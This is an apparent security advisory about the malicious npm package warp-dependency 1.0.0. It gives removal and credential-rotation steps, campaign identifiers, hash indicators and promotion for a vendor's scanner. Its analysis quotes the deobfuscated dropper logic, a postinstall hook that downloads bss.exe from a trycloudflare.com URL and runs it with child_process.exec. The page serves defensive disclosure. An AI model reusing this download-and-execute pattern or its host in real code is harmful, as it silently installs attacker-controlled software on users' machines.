Which versions of warp-dependency are malicious?

The following npm versions of warp-dependency are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate warp-dependency if I installed it?

Remove warp-dependency from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is warp-dependency part of a known attack campaign?

Yes — warp-dependency is associated with the IN-MAL-2026-006271, IN-MAL-2026-006272 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect warp-dependency in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking warp-dependency and packages like it before any post-install script runs.

Malicious package

warp-dependencynpm

Malicious code in warp-dependency (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5724

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall warp-dependency

What this malware does

[email protected] declares postinstall: node index.js in package.json. The index.js entry point is heavily obfuscated using obfuscator.io-style string-array rotation (_0x345c/_0x1de1) that hides the download URL, target filename, and the require targets (fs-extra, node-fetch, child_process). When deobfuscated, the top-level code performs downloadFile('https://recorder-our-betting-chair.trycloudflare.com/page', 'bss.exe') followed by child_process.exec('bss.exe',...), writing and running an opaque Windows executable next to the package on every install. trycloudflare.com is an anonymous ephemeral tunneling service commonly used as throwaway dropper infrastructure; the URL is unpinned and the binary is unsigned, unhashed, and unrelated to the package's stated 'Mac UI for Windows Toolkit' purpose. The package name also typosquats the legitimate 'warp' brand. Every npm install warp-dependency silently runs attacker-controlled native code on the installer's machine.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

493b3ed30d94fb482e4b9c7cf3d328ba9b307f91965783f0024ec7dca1fedb96

9f1ff50bf7658e4876b44a7476dbe5889afcf6a6facaf342fdd56a6d0fdbfa3d

Frequently asked questions

No. warp-dependency on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006271IN-MAL-2026-006272

References

npmjs.com

Credits

Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection